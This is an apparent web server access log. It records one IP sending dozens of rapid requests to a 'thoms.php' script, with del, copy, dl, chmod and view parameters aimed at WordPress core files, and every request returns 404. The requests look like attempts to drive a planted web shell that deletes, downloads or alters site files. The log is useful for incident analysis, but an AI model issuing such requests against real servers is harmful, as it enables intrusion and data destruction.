45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?del=widgets&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblocks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblocks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?chmod=error-protection.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?dl=widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?del=connectors.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?dl=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?chmod=customize&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:57 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?dl=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?dl=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?del=certificates&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=certificates&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?del=formatting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?dl=functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:58 -0400] "GET /thoms.php?del=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?del=ms-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?chmod=load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fblock-patterns.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?dl=default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?del=embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?chmod=block-bindings&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-constants.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?dl=l10n.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?del=ms-load.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fassets&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fassets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?chmod=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?dl=ms-network.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?chmod=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
